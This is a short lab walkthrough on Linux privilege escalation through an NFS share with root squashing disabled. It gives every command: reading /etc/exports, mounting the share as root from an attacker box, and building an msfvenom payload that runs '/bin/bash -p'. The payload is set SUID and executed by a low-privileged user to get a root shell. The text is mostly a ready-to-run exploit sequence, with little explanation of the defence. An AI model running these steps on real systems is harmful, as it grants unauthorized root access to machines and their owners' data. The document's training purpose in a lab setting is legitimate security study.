NFS
Files created via NFS inherit the remote user's ID. If the user is root and root squashing is enabled, the ID is instead set to the "nobody" user.
Check the NFS Share Configuration on the Debian VM
cat /etc/exports
Note that the /tmp share has root squashing disabled.
On your Kali box, switch to the root user if you are not already running as root:
sudo su
As Kali's root user, create a mount point and mount the /tmp share (update the IP accordingly):
mkdir /tmp/nfs mount -o rw,vers=3 10.13.28.215:/tmp /tmp/nfs
Still as root, generate a payload with msfvenom and save it to the mounted share (this payload simply calls /bin/bash):
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
Still as root, make the file executable and set the SUID permission:
chmod +xs /tmp/nfs/shell.elf
Back on the Debian VM, as the low-privileged user account, execute the file to get a root shell: /tmp/shell.elf
ROOT